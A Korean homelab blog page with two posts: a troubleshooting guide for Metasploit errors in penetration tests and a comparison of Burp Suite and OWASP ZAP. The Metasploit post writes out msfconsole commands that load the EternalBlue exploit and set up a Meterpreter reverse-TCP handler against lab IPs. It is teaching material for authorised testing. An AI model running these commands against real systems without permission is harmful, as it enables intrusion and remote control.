13년차의 서버실

서버, 인프라, 홈랩 기술 블로그

[태그:] 모의 해킹 도구

  • [보안] Metasploit 오류 해결: 침투 테스트 중 흔히 겪는 문제와 실전 해결법

    [보안] Metasploit 오류 해결: 침투 테스트 중 흔히 겪는 문제와 실전 해결법

    [보안] Metasploit 오류 해결: 침투 테스트 중 흔히 겪는 문제와 실전 해결법

    Metasploit 오류 해결 때문에 검색창을 붙잡고 계셨다면, 아마 지금 딱 비슷한 상황이실 겁니다. 익스플로잇(Exploit, 취약점을 실제로 악용하는 코드)은 분명 맞는 것 같은데 세션(Session, 원격 제어 연결)이 안 뜨고, 옵션도 다 넣은 것 같은데 실행이 실패하고, 어떤 때는 에러 메시지가 너무 짧아서 더 답답하거든요. 저도 홈랩(Home Lab, 개인 실험 환경)에서 모의 해킹 도구를 만지다가 이런 삽질을 정말 많이 했습니다. 처음엔 ‘내가 뭘 빼먹었지?’ 싶었는데, 실제로는 Metasploit 사용법 자체보다 환경 확인과 옵션 검증이 더 중요하더라고요.

    이 글에서는 침투 테스트 환경에서 Metasploit 프레임워크를 사용하다가 흔히 만나는 오류를 정리하고, 제가 직접 정리해 둔 체크 순서대로 해결하는 방법을 소개해보겠습니다. 모의 해킹 도구로서 Metasploit의 활용도는 높지만, 반드시 합법적인 테스트 환경이나 명시적 허가를 받은 시스템에서만 사용하셔야 한다는 점도 먼저 짚고 가겠습니다.

    Metasploit 오류 해결 전체 흐름을 보여주는 다이어그램

    Metasploit 실행 전 점검 항목과 오류 발생 후 확인 순서를 한눈에 보여주는 개요 이미지입니다.

    왜 Metasploit 오류 해결이 어려운가

    쉽게 말해 Metasploit은 한 개의 프로그램처럼 보여도, 실제로는 여러 요소가 맞물려 돌아갑니다. 대상 호스트(Target Host), 네트워크 경로(Network Path), 익스플로잇 모듈(Module), 페이로드(Payload, 실행 후 전달될 동작), 리스너(Listener, 연결 대기), 권한(Permission)까지 전부 맞아야 하거든요. 그래서 에러 메시지가 하나만 보여도 원인은 여러 군데에 숨어 있을 수 있습니다.

    실제로 써보니까 초보 때는 모듈만 맞으면 될 줄 알았는데, 근데 여기서 자주 막히는 건 오히려 이런 기본값입니다.

    • RHOSTS나 RPORT를 잘못 지정한 경우
    • PAYLOAD가 대상 환경과 맞지 않는 경우
    • LHOST가 잘못되어 역방향 연결(Reverse Connection)이 돌아오지 않는 경우
    • 방화벽(Firewall)이나 NAT(Network Address Translation) 때문에 세션이 차단되는 경우
    • 권한 부족 또는 데이터베이스(Database) 연결 문제

    여기서 중요한 포인트! Metasploit 오류 해결은 에러 문구만 읽는 게 아니라, 공격 전제 조건이 맞는지 역으로 검증하는 과정이라고 보시면 됩니다.

    Metasploit 사용법 먼저: 오류를 줄이는 기본 점검

    저도 처음엔 헷갈렸는데, 본격적으로 문제를 보기 전에 가장 먼저 해야 할 건 현재 모듈 상태를 읽는 습관입니다. 아래 명령은 정말 자주 씁니다.

    msfconsole
    search smb
    use exploit/windows/smb/ms17_010_eternalblue
    show info
    show options
    show payloads

    show info는 모듈 설명과 적용 조건을 보여주고, show options는 필수 옵션을, show payloads는 호환 가능한 페이로드 목록을 보여줍니다. 이 세 개만 꼼꼼히 봐도 쓸데없는 시행착오가 꽤 줄어듭니다.

    제가 보통 확인하는 순서는 이렇습니다.

    1. 모듈 설명에서 대상 서비스와 플랫폼을 확인해요.
    2. 필수 옵션이 비어 있지 않은지 봅니다.
    3. 대상 포트가 실제로 열려 있는지 별도 도구로 재확인합니다.
    4. 선택한 페이로드가 대상 운영체제와 아키텍처에 맞는지 확인해야 합니다.
    5. 역방향 페이로드(Reverse Payload)라면 LHOST/LPORT가 외부에서 도달 가능한지 체크하세요.

    사실 이 과정이 귀찮아서 건너뛰고 싶을 때가 많습니다. 저도 그랬거든요. 근데 이걸 건너뛰면 뒤에서 두 배로 삽질하게 돼요 ㅎㅎ

    실전 예시: 기본 실행 흐름부터 안정적으로 잡기

    아래는 가장 무난한 형태의 점검 흐름입니다. Metasploit 사용법 중 특정 취약점을 무작정 때리는 것보다, 서비스 확인 후 옵션을 단계적으로 채우는 방식이 오류를 줄이기 훨씬 좋습니다.

    msfconsole
    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.56.1
    set LPORT 4444
    show options
    run

    핸들러(Handler, 연결을 받아주는 리스너)부터 따로 띄워두면 역방향 셸(Reverse Shell) 계열 문제를 분리해서 보기 좋습니다. 이후 대상 서비스 검증 쪽은 별도로 확인하죠.

    nc -vz 192.168.56.101 445
    nc -vz 192.168.56.101 80

    리눅스 환경이라면 nc(netcat) 같은 도구로 포트 응답을 먼저 보는 습관이 정말 도움이 됩니다. 대상이 응답하지 않는데 Metasploit만 계속 만져봐야 답이 안 나오니까요.

    Metasploit 오류 해결을 위한 msfconsole 설정 확인 이미지

    show options, 페이로드 선택, LHOST/LPORT 설정 흐름을 보여주는 터미널 중심 이미지입니다.

    자주 만나는 오류 1: Required options are missing

    이건 정말 흔합니다. 메시지 자체는 단순한데, 막상 뭐가 비었는지 못 보고 지나칠 때가 있어요. 보통 RHOSTS, RPORT, USERNAME, PASSWORD, TARGETURI 같은 값이 비어 있습니다.

    show options
    set RHOSTS 192.168.56.101
    set RPORT 445
    run

    여기서 제가 직접 해보니 중요한 건 옵션을 넣는 것보다 형식을 맞추는 것이더라고요. 예를 들어 여러 대상을 넣을 때는 RHOSTS 형식이 다를 수 있고, 웹 모듈은 TARGETURI가 루트 경로가 아닐 수도 있거든요. 단순히 값이 있다고 끝이 아닙니다.

    빠른 점검 체크

    • show options에서 Required 항목이 모두 채워졌는지 확인
    • IP 주소 오타 여부를 다시 한 번 체크
    • 웹 모듈이면 URI 경로 끝에 슬래시가 필요한지 확인
    • 자격 증명 기반 모듈이면 계정 권한 수준도 함께 점검하세요

    자주 만나는 오류 2: Exploit completed, but no session was created

    이 문구는 초반에 제일 사람 멘탈 흔드는 메시지입니다. 처음엔 이게 뭔가 싶었는데, 성공한 것처럼 보이는데 아무것도 안 생기니까 더 헷갈리거든요. 보통은 아래 원인 중 하나더라고요.

    • 페이로드 비호환: 대상 OS나 아키텍처와 맞지 않음
    • LHOST 문제: 대상이 돌아올 수 없는 IP를 지정함
    • 방화벽 차단: 역방향 연결이 막힘
    • 취약점 조건 불일치: 모듈은 실행됐지만 실제 취약하지 않음
    • 안티바이러스/EDR: 페이로드 실행 단계에서 차단됨

    이럴 때 저는 무조건 페이로드를 다시 봅니다.

    show payloads
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.56.1
    set LPORT 4444
    check
    run

    check가 지원되는 모듈이라면 먼저 실행해 보는 편이 정말 좋습니다. 물론 모든 모듈이 check를 지원하진 않지만, 지원한다면 대상이 취약한지 감을 잡는 데 꽤 도움이 돼요. 그리고 NAT 환경에서 테스트 중이라면 LHOST를 로컬 인터페이스 IP로 잘못 넣는 경우가 정말 많습니다. 저도 이걸로 한참 헤맸더라고요.

    자주 만나는 오류 3: Module not found 또는 검색은 되는데 실행이 이상한 경우

    가끔은 모듈 경로를 잘못 입력해서 생기는 단순한 문제도 있습니다. 예전 문서나 블로그 글을 그대로 따라치다 보면 현재 프레임워크 구조와 다를 때도 있고요. 그래서 저는 모듈명을 외우기보다 항상 search로 다시 찾습니다.

    search type:exploit samba
    search name:eternalblue
    use exploit/windows/smb/ms17_010_eternalblue

    혹시 모듈이 보이지 않거나 이상하게 동작하면, 문서에 나온 이름이 정확한지 다시 보고, 같은 계열의 다른 모듈이 있는지도 비교해 보세요. 같은 서비스라도 보조 모듈(Auxiliary Module, 정보 수집/검증용)과 익스플로잇 모듈이 따로 있는 경우가 많습니다.

    구분 역할 언제 쓰면 좋은가
    Auxiliary 스캔, 확인, 인증 시도 등 대상 상태를 먼저 검증할 때
    Exploit 취약점 악용 시도 취약 조건이 확인된 뒤
    Payload 성공 후 실행 동작 세션 획득 또는 명령 실행이 필요할 때
    Post 세션 이후 후속 작업 권한 확인, 정보 수집, 내부 이동 전 단계

    쉽게 말해, 처음부터 Exploit만 보지 마시고 Auxiliary로 주변 상황부터 확인하면 실패 원인을 분리하기 훨씬 수월합니다.

    ⚠️ 실제로 많이 겪는 문제 묶음: 권한, 포트, 데이터베이스

    이 섹션은 정말 실전에서 자주 튀어나옵니다. Metasploit 오류 해결을 검색하는 분들이 흔히 겪는 케이스만 묶어보면 아래와 같습니다.

    1. 포트는 닫혀 있는데 모듈부터 실행한 경우

    서비스가 안 떠 있는데 익스플로잇을 날리면 결과가 이상하게 보일 수 있습니다. 그래서 최소한 포트 수준 검증은 먼저 해두는 게 정말 중요합니다.

    nc -vz 192.168.56.101 445
    nc -vz 192.168.56.101 139

    2. 권한 부족 또는 리스닝 실패

    낮은 포트 바인딩이나 네트워크 관련 기능은 환경에 따라 권한 이슈가 생길 수 있습니다. 특히 실습 환경이 컨테이너(격리 실행 환경)나 제한된 사용자 계정일 때는 더 그렇더라고요. 에러가 애매하면 먼저 높은 포트로 바꿔 테스트해 보세요.

    set LPORT 4444
    run

    3. 데이터베이스 연결 문제

    workspace(워크스페이스), 스캔 결과 연동, 호스트 관리 기능을 쓰다가 데이터베이스 연결이 꼬이면 검색이나 저장 흐름이 불편해질 수 있습니다. 모든 공격이 데이터베이스에 의존하는 건 아니지만, 정리된 침투 테스트 작업에서는 꽤 중요하거든요. 만약 관련 기능이 비정상적으로 보이면 현재 데이터 저장 상태와 연결 상태를 먼저 점검하시는 게 좋습니다.

    4. 방화벽 때문에 역방향 세션이 안 돌아오는 경우

    이건 진짜 자주 봅니다. 내부망에서는 되는데 다른 망 구간만 지나면 안 되는 식이죠. 이럴 때는 대상에서 내 LHOST로 접속 가능한지 네트워크 경로를 따로 확인해야 합니다. Metasploit이 문제가 아니라 경로가 막힌 경우가 생각보다 많더라고요.

    Metasploit 오류 해결에서 자주 겪는 문제를 비교한 이미지

    옵션 누락, 세션 미생성, 방화벽 차단, 포트 미오픈 상황을 비교하는 문제 분석 이미지입니다.

    문제별로 바로 보는 Metasploit 오류 해결 체크리스트

    제가 메모장에 적어두고 보는 순서입니다. 한 번 꼬이기 시작하면 이것저것 바꾸다가 더 헷갈리니까, 가능하면 아래 순서대로만 확인해 보세요.

    1. 대상이 살아 있는지 확인합니다.
    2. 목표 포트가 실제로 열려 있는지 봅니다.
    3. 선택한 모듈이 대상 서비스/플랫폼과 맞는지 재확인합니다.
    4. show options로 필수 값 누락 여부를 체크합니다.
    5. show payloads로 호환 가능한 페이로드를 다시 골라봅니다.
    6. LHOST/LPORT가 실제로 되돌아올 수 있는 값인지 확인해야 합니다.
    7. check가 있으면 먼저 실행해 보세요.
    8. 방화벽, NAT, 권한 문제를 분리해서 봅니다.

    이 순서의 장점은 원인을 좁히기 정말 쉽다는 점입니다. 저도 예전엔 세션이 안 생기면 페이로드만 계속 바꿨었는데, 실제 원인은 대상 포트 오타였던 적도 있었습니다. 드디어 됐다! 싶었는데 너무 허무하더라고요.

    검증과 결과 확인: 성공했을 때 무엇을 봐야 하나

    세션이 떴다고 끝은 아닙니다. 성공 후에도 검증이 필요한데요. Meterpreter(고급 페이로드 세션)든 일반 셸이든, 최소한 아래 정도는 확인해 두시는 게 좋습니다.

    sessions
    sessions -i 1
    sysinfo
    getuid

    이 명령으로 현재 세션 목록, 대상 시스템 정보, 실행 권한을 확인할 수 있습니다. 세션이 생겼더라도 기대한 권한이 아닐 수 있고, 다른 호스트에서 온 세션일 수도 있거든요. 실습 환경이 여러 대일 때 특히 헷갈립니다.

    Metasploit 오류 해결 후 세션 검증 결과를 보여주는 이미지

    sessions, sysinfo, getuid 등으로 세션 성공 여부를 검증하는 결과 확인 이미지입니다.

    아래처럼 결과를 정리해 두면 다음 테스트 때도 훨씬 편합니다.

    확인 항목 성공 기준 실패 시 의심 포인트
    세션 생성 sessions 목록에 표시 페이로드, 방화벽, LHOST
    대상 정보 조회 sysinfo 응답 확인 세션 불안정, 권한 제한
    권한 확인 getuid 결과 확인 권한 상승 미적용, 제한 계정
    후속 모듈 실행 post 모듈 동작 플랫폼 불일치, 세션 타입 문제

    정리와 FAQ: 침투 테스트에서 덜 헤매는 방법

    정리해보면 Metasploit 사용법 자체는 명령 몇 개로 보이지만, 실제 현장에서는 환경 검증이 절반 이상입니다. Metasploit 오류 해결이 어려운 이유도 결국 여기에 있고요. 제가 인프라 관련 일을 하면서 느낀 건, 도구를 더 많이 아는 것보다 문제를 작게 쪼개서 확인하는 습관이 훨씬 중요하다는 점입니다.

    혹시 이런 경험 있으신가요? 분명 같은 명령인데 어제는 되고 오늘은 안 되는 경우요. 이런 건 대체로 네트워크 경로나 대상 상태가 바뀐 경우가 많습니다. 그러니 실패했을 때는 내 명령이 틀렸다고 바로 단정하지 말고, 아래 FAQ처럼 체크해 보시면 좋습니다.

    자주 묻는 질문

    • Q. 모듈은 맞는데 세션이 안 생깁니다.
      A. 페이로드 호환성, LHOST 경로, 방화벽 차단을 먼저 보세요. 이 세 가지가 가장 흔합니다.
    • Q. check 결과가 애매합니다.
      A. check는 참고 지표로 보시고, 포트 상태와 서비스 버전 추정 정보를 함께 확인하는 편이 안전합니다.
    • Q. 침투 테스트에서 어디부터 자동화해야 하나요?
      A. 옵션 템플릿, 결과 기록, 검증 순서를 먼저 정형화하는 게 좋습니다. 모의 해킹 도구 자동화보다 이쪽이 실수가 적더라고요.

    다음 글에서는 모의 해킹 도구를 여러 개 섞어 쓸 때, Nmap과 Metasploit 사이에서 정보를 어떻게 연결하면 좋은지 제 홈랩 기준으로 정리해볼 예정입니다. 이전 글에서 다뤘던 네트워크 기본 점검 습관과도 이어지는 내용이라 같이 보시면 흐름이 더 잘 잡히실 겁니다.

    Metasploit 오류 해결 핵심 포인트를 정리한 요약 이미지

    문제 원인별 점검 순서와 핵심 해결 포인트를 요약한 마무리 인포그래픽입니다.

    마지막으로 한 번 더 말씀드리면, 이 글의 예시는 교육용·실습용 맥락에서만 봐야 합니다. 허가받은 환경에서만 테스트하시고, 실제 운영망에서는 절차와 승인부터 챙기시는 게 정답입니다. 그 기본만 지켜도 Metasploit 같은 모의 해킹 도구를 훨씬 건강하게 오래 쓸 수 있더라고요.

  • [보안] 웹 취약점 진단: Burp Suite vs OWASP ZAP 심층 비교

    [보안] 웹 취약점 진단: Burp Suite vs OWASP ZAP 심층 비교

    [보안] 웹 취약점 진단: Burp Suite vs OWASP ZAP 심층 비교

    웹 취약점 진단을 시작하려고 하면 가장 먼저 부딪히는 고민이 있습니다. Burp Suite OWASP ZAP 비교를 검색해보신 분들이라면 아마 저와 비슷했을 겁니다. “둘 다 프록시(Proxy, 중간에서 트래픽을 가로채는 도구) 기반인데 뭐가 다른 거지?”, “초보자는 뭘 먼저 써야 하지?”, “실무에서는 어떤 기준으로 고르지?” 이런 질문이 계속 생기거든요. 특히 보안 도구 선택을 앞두면, 단순히 어느 것이 유명한지가 아니라 자신의 업무 방식에 맞는 게 뭔지 판단하기가 참 어렵더라고요. 저도 처음엔 이름만 많이 들었지, 막상 프로젝트에 적용하려고 하니 생각보다 판단 포인트가 많아서 삽질 좀 했습니다 ㅎㅎ

    특히 웹 취약점 스캐너나 모의 해킹 도구를 고를 때는 “더 강력한 것”보다, 내 목적에 정확히 맞는지 보는 게 훨씬 중요해요. 실제로 써보니까 Burp Suite는 수동 분석(Manual Testing, 사람이 직접 흐름을 따라가며 검증하는 방식)과 확장성에서 강점이 분명했고, OWASP ZAP은 자동화와 접근성에서 진입 장벽이 낮더라고요.

    Burp Suite OWASP ZAP 비교 개요를 보여주는 웹 취약점 진단 이미지

    Burp Suite와 OWASP ZAP의 핵심 구성 요소와 사용 흐름을 한눈에 보여주는 개요 이미지입니다.

    왜 Burp Suite와 OWASP ZAP 비교가 중요한가

    쉽게 말해 둘 다 웹 애플리케이션 보안 테스트를 도와주는 대표 웹 취약점 스캐너예요. 그런데 실제 현장에서는 쓰임새가 미묘하게 다릅니다. 예를 들어 개발 단계에서 빠르게 기본 점검을 돌리고 싶다면 자동화 친화성이 중요하고, 로그인 흐름이나 복잡한 요청 재현처럼 정밀한 분석이 필요하면 인터셉트(Intercept, 요청 가로채기)와 리피터(Repeater, 요청 반복 재생성)가 훨씬 중요해집니다.

    여기서 중요한 포인트! 보안 도구 선택은 기능 개수보다도 팀의 숙련도, 테스트 범위, 자동화 필요성, 보고서 작성 흐름에 따라 갈려요. 저도 한때는 “강력한 도구 하나면 끝”이라고 생각했었는데, 실제 운영 환경에서는 그게 잘 안 맞더라고요. 도구보다 워크플로우(Workflow, 작업 흐름)가 더 중요했습니다.

    핵심 개념 정리: 두 도구를 어떻게 봐야 하나

    Burp Suite와 OWASP ZAP은 둘 다 프록시 기반으로 브라우저와 서버 사이 트래픽을 들여다봅니다. 사용자가 브라우저에서 요청을 보내면, 이 웹 취약점 스�닝 도구들이 그 요청을 가로채고 수정하고 다시 전송할 수 있게 해주는 구조죠. 이 구조 덕분에 다음 같은 작업이 가능합니다.

    • 요청/응답(Request/Response, 클라이언트와 서버 간 통신 내용) 분석
    • 쿠키(Cookie), 헤더(Header), 토큰(Token) 확인
    • 인증 흐름(Authentication Flow, 로그인/세션 처리 방식) 검증
    • 입력값 변조와 반복 테스트
    • 취약점 스캔과 결과 정리

    차이는 어디서 나느냐. Burp Suite는 수동 분석 경험이 꽤 잘 다듬어져 있다는 느낌이 강합니다. 반면 OWASP ZAP은 오픈소스(Open Source, 소스가 공개된 소프트웨어) 특유의 유연함과 자동화 친화성이 눈에 띕니다. 특히 ZAP은 API(Application Programming Interface, 외부 연동용 인터페이스)를 활용한 스캔 자동화 사례가 많아서 CI/CD(지속적 통합/지속적 배포) 파이프라인에 붙이기 편한 편이었어요.

    한눈에 보는 Burp Suite vs OWASP ZAP 웹 취약점 진단 도구 비교

    항목 Burp Suite OWASP ZAP
    라이선스 상용 제품 중심, Community Edition 제공 오픈소스
    대표 강점 수동 테스트, 정교한 요청 재현, 확장 기능 접근성, 자동화, 비용 부담 적음
    입문 난이도 기능이 많아 초반엔 다소 복잡함 비교적 시작이 쉬운 편
    자동화 적합성 가능하지만 구성에 따라 차이 큼 API 및 스크립팅 활용이 쉬운 편
    학습 포인트 프록시, Repeater, Intruder, 확장 활용 Spider, Active Scan, Automation 기반 흐름
    추천 대상 정밀 분석이 많은 실무자, 심화 학습자 예산이 제한된 팀, 자동화 중심 팀

    실전 구현: 로컬 테스트 환경에서 둘 다 붙여보기

    이론만 보면 감이 안 옵니다. 그래서 저는 보통 로컬 테스트 환경부터 붙여봐요. 가장 단순한 흐름은 브라우저 프록시 설정을 바꾸고, 테스트용 웹앱에 요청을 보내서 인터셉트가 되는지 확인하는 방식입니다. 처음엔 이게 뭔가 싶었는데, 한 번만 제대로 붙여두면 이후 학습 속도가 확 올라갑니다.

    1. 테스트용 환경 준비

    1. 로컬 또는 사내 승인된 테스트 대상 애플리케이션을 준비합니다.
    2. Burp Suite 또는 OWASP ZAP을 실행합니다.
    3. 브라우저 프록시를 도구가 리슨(Listen, 대기) 중인 주소와 포트로 지정합니다.
    4. 도구의 인증서(Certificate)를 브라우저에 신뢰 등록합니다. HTTPS 테스트에 꼭 필요합니다.

    테스트용 Docker Compose를 간단히 두고 시작하면 반복하기 좋습니다.

    version: '3'
    services:
      webgoat:
        image: webgoat/webgoat
        ports:
          - "8080:8080"
    

    저는 예전엔 무조건 실제 서비스 스테이징에서 바로 보려다가 세션 꼬이고 인증서 이슈 만나고 난리였거든요. 지금은 무조건 로컬 검증부터 합니다. 이게 훨씬 덜 힘듭니다.

    2. 브라우저 프록시 설정 예시

    리눅스(Linux) 계열에서 환경 변수를 써서 확인할 때는 아래처럼 접근할 수 있습니다.

    export HTTP_PROXY=http://127.0.0.1:8080
    export HTTPS_PROXY=http://127.0.0.1:8080
    curl -k https://example.local

    브라우저 기반 테스트가 일반적이지만, 이렇게 CLI(Command Line Interface, 명령줄 환경)에서도 프록시가 잘 타는지 먼저 보는 습관이 꽤 도움이 되거든요. 네트워크 경로가 안 맞는 문제를 빨리 찾을 수 있어요.

    Burp Suite와 OWASP ZAP 프록시 설정 흐름을 설명하는 웹 취약점 스캐너 이미지

    브라우저, Burp Suite 또는 OWASP ZAP, 대상 웹 애플리케이션 사이의 프록시 연결 구조를 설명하는 이미지입니다.

    3. Burp Suite에서 먼저 볼 포인트

    Burp Suite를 처음 열면 메뉴가 많아서 약간 압도됩니다. 저도 처음엔 어디부터 봐야 할지 몰라서 여기저기 눌러보다가 시간을 꽤 썼어요. 그런데 핵심은 의외로 단순합니다.

    1. Proxy: 요청이 실제로 잡히는지 확인
    2. HTTP history: 어떤 요청이 오가는지 전체 흐름 파악
    3. Repeater: 특정 요청을 수정해서 반복 검증
    4. Target: 사이트 구조와 엔드포인트 확인

    실제로 써보니까 Burp Suite는 Repeater가 정말 편하더라고요. 인증 토큰 하나 바꿔보고, 파라미터(Parameter, 요청 값) 하나 바꿔보고, 응답 차이를 바로 확인하는 흐름이 자연스럽습니다. 세밀하게 파고들 때는 이 장점이 커요.

    4. OWASP ZAP에서 먼저 볼 포인트

    ZAP은 상대적으로 접근이 부드러워요. 웹 취약점 진단 입문자 입장에서는 구조가 덜 위협적으로 느껴질 수 있습니다. 대표적으로 많이 보게 되는 기능은 다음과 같습니다.

    1. Sites: 수집된 사이트 구조 확인
    2. Spider: 링크 탐색 자동화
    3. Active Scan: 알려진 패턴 기반 점검
    4. Alerts: 탐지 결과 정리

    특히 자동화 관점에서는 ZAP이 꽤 실용적이거든요. 아래처럼 Docker 이미지 기반으로 헤드리스(Headless, 화면 없이 실행) 스캔 흐름을 잡는 예시가 자주 쓰입니다.

    docker run --rm -t owasp/zap2docker-stable zap-baseline.py \
      -t https://target.example.com \
      -r zap-report.html
    

    물론 여기서 중요한 건 허가된 대상만 테스트해야 한다는 점입니다. 승인 없는 스캔은 절대 안 돼요. 이 부분은 아무리 강조해도 지나치지 않아요.

    실무 관점에서 본 보안 도구 선택 기준

    Burp Suite가 더 잘 맞는 경우

    • 복잡한 로그인과 세션 흐름을 세밀하게 봐야 할 때
    • 수동 검증 비중이 높을 때
    • 특정 요청을 다양한 형태로 재현해야 할 때
    • 확장 기능을 활용한 심화 테스트가 필요할 때

    제가 직접 해보니, API 인증 우회 가능성이나 권한 검증 누락처럼 “한 번 더 꼬아서 봐야 드러나는 문제”는 Burp Suite 쪽이 손에 더 잘 붙었어요.

    OWASP ZAP이 더 잘 맞는 경우

    • 예산 제약이 있는 팀
    • 오픈소스 기반으로 빠르게 시작하고 싶은 경우
    • 자동화된 웹 취약점 스캐너 흐름을 만들고 싶은 경우
    • 보안 점검을 개발 파이프라인에 가볍게 포함하고 싶은 경우

    특히 작은 팀이나 홈랩(Home Lab, 개인 실험용 인프라 환경)에서는 ZAP이 진입 장벽이 낮아서 좋거든요. 부담 없이 돌려보고, 결과를 보면서 필요한 지점을 수동으로 더 파는 식이 잘 맞더라고요.

    ⚠️ 주의사항과 트러블슈팅: 제가 실제로 많이 막혔던 부분

    웹 취약점 진단은 도구보다 환경 이슈에서 더 많이 막혀요. 진짜로요. 기능 비교표만 보면 금방 끝날 것 같은데, 막상 해보면 프록시가 안 잡히거나 HTTPS가 깨지거나 세션이 꼬여서 멈추는 경우가 많습니다.

    1. HTTPS 인증서 문제

    증상: 브라우저에서 보안 경고가 뜨고 정상 로딩이 안 됩니다.

    원인: Burp Suite 또는 ZAP의 CA(Certificate Authority, 인증서 발급 주체) 인증서를 브라우저가 신뢰하지 않는 상태입니다.

    해결: 도구가 제공하는 인증서를 브라우저 또는 시스템 신뢰 저장소에 등록합니다.

    2. 로그인 후 요청이 안 보이는 문제

    증상: 로그인 화면까진 잡히는데, 이후 요청이 안 보입니다.

    원인: 브라우저 일부 트래픽이 프록시를 우회하거나, HSTS/브라우저 프로필 문제일 수 있어요.

    해결: 전용 브라우저 프로필을 따로 만들고, 프록시 설정이 전체 트래픽에 적용되는지 다시 확인합니다.

    3. 스캔 결과가 너무 많아서 판단이 어려운 문제

    증상: 경고가 쏟아지는데 뭐가 중요한지 모르겠어요.

    원인: 자동 스캔은 오탐(False Positive, 실제 취약점이 아닌데 경고로 잡히는 경우)이 섞일 수 있습니다.

    해결: 결과를 바로 보고서로 넘기지 말고, 재현 가능한지 수동 검증을 붙입니다. 이 단계 안 거치면 나중에 개발팀과 커뮤니케이션이 꼬이더라고요.

    웹 취약점 진단 중 인증서와 세션 문제를 해결하는 Burp Suite OWASP ZAP 비교 이미지

    HTTPS 인증서 등록, 세션 확인, 오탐 분류 등 현장에서 자주 겪는 문제를 시각화한 이미지입니다.

    4. 자동 스캔만 믿고 끝내는 실수

    이건 제가 초반에 가장 크게 했던 실수거든요. 스캐너가 잡아주면 다 끝난 줄 알았어요. 근데 실제로는 비즈니스 로직(Business Logic, 서비스 기능 흐름 자체의 문제) 취약점이나 권한 상승 같은 건 수동 검증 없이 놓치기 쉬워요. 그래서 보안 도구 선택과 활용을 할 때도 저는 항상 “자동화 + 수동 분석의 조합”으로 봅니다.

    검증과 결과: 어떤 흐름으로 마무리해야 하나

    도구를 돌렸다면 마지막은 결과를 검증하고 팀이 이해할 수 있게 정리하는 단계예요. 여기서 문서화가 허술하면 테스트를 잘해도 가치가 반감됩니다.

    1. 탐지된 항목 중 재현 가능한 이슈만 선별합니다.
    2. 요청/응답 캡처를 남깁니다.
    3. 영향 범위와 재현 조건을 짧게 정리합니다.
    4. 개발팀이 바로 확인할 수 있도록 수정 포인트를 연결합니다.

    예를 들어 결과 정리는 이런 식으로 남기면 좋습니다.

    Issue: Reflected XSS suspected
    Endpoint: /search?q=
    Validation: Reproduced manually in proxy repeater
    Risk: User input reflected without proper encoding
    Next step: Confirm output encoding and template escaping
    

    이런 형태가 좋은 이유는 단순 경고 메시지보다 훨씬 실무적이거든요. 보안팀 입장에서도 좋고, 개발팀 입장에서도 바로 액션이 가능해요.

    Burp Suite OWASP ZAP 비교 결과와 웹 취약점 진단 검증 과정을 보여주는 이미지

    스캔 결과, 경고 우선순위, 수동 재현 여부를 함께 확인하는 결과 검증 이미지입니다.

    그래서 무엇을 선택하면 좋을까

    결론부터 말씀드리면, 어느 하나가 무조건 우위라고 보긴 어렵습니다. 보안 도구 선택은 목적 중심으로 봐야 해요.

    • 입문 + 자동화 + 비용 효율이 중요하면 OWASP ZAP
    • 정밀 분석 + 반복 검증 + 심화 테스트가 중요하면 Burp Suite
    • 실무 최적화를 원하면 둘을 함께 운용하는 전략도 충분히 현실적

    저는 홈랩에서는 ZAP으로 전체 그림을 먼저 보고, 세밀한 검증이 필요한 지점은 Burp Suite로 파고드는 식을 자주 써요. 이 조합이 생각보다 괜찮습니다. 처음엔 도구 두 개를 같이 쓴다고 해서 비효율적일 줄 알았는데, 실제로 써보니까 역할 분리가 되니 오히려 머리가 덜 복잡하더라고요.

    정리와 다음 단계

    오늘 내용 정리해보면 이렇습니다. Burp Suite OWASP ZAP 비교에서 가장 중요한 건 “무슨 기능이 더 많으냐”가 아니라 “내 테스트 방식에 뭐가 맞느냐”예요. Burp Suite는 수동 중심 분석에 강하고, OWASP ZAP은 자동화와 접근성에서 장점이 커요. 둘 다 훌륭한 웹 취약점 스캐너이고, 웹 취약점 진단을 제대로 하려면 결국 도구 자체보다 검증 습관과 보고 체계가 더 중요합니다.

    혹시 지금 웹 취약점 스캐너를 처음 고르고 계신가요? 그렇다면 ZAP으로 흐름을 익히고, 이후 Burp Suite로 수동 분석 감각을 붙이는 순서를 추천드립니다. 반대로 이미 모의 해킹 도구를 다뤄보셨고 요청 재현이 많은 환경이라면 Burp Suite가 더 손에 맞으실 가능성이 커요.

    다음 글에서는 인증(Authorization/Authentication) 테스트 흐름을 중심으로, 로그인 세션이 있는 웹앱에서 프록시 기반 점검을 어떻게 설계하면 좋은지 다뤄볼 예정입니다. 이전 글에서 다뤘던 리버스 프록시(Reverse Proxy, 서버 앞단 중계 계층)와 TLS(Traffic Layer Security, 전송 구간 암호화) 정리 내용도 함께 보시면 훨씬 이해가 빠르실 겁니다.

    보안 도구 선택 관점에서 Burp Suite OWASP ZAP 비교를 요약한 이미지

    입문자, 자동화 중심 팀, 정밀 분석 중심 실무자 관점에서 두 도구의 선택 기준을 요약한 이미지입니다.

    자주 묻는 질문

    Q1. 초보자는 Burp Suite와 ZAP 중 무엇부터 시작하면 좋나요?

    처음이라면 OWASP ZAP이 부담이 덜할 수 있어요. 다만 수동 분석 감각을 익히려면 Burp Suite도 꼭 한 번은 써보시는 게 좋습니다.

    Q2. 자동 스캔만으로 충분한가요?

    아니에요. 자동 스캔은 출발점으로는 좋지만, 오탐 분류와 수동 재현이 빠지면 실제 위험도를 제대로 판단하기 어렵습니다.

    Q3. 실무에서는 둘 중 하나만 쓰나요?

    꼭 그렇진 않아요. 팀 상황에 따라 두 도구를 병행하는 경우도 충분히 많습니다. 저도 실제로 그렇게 쓰는 편입니다.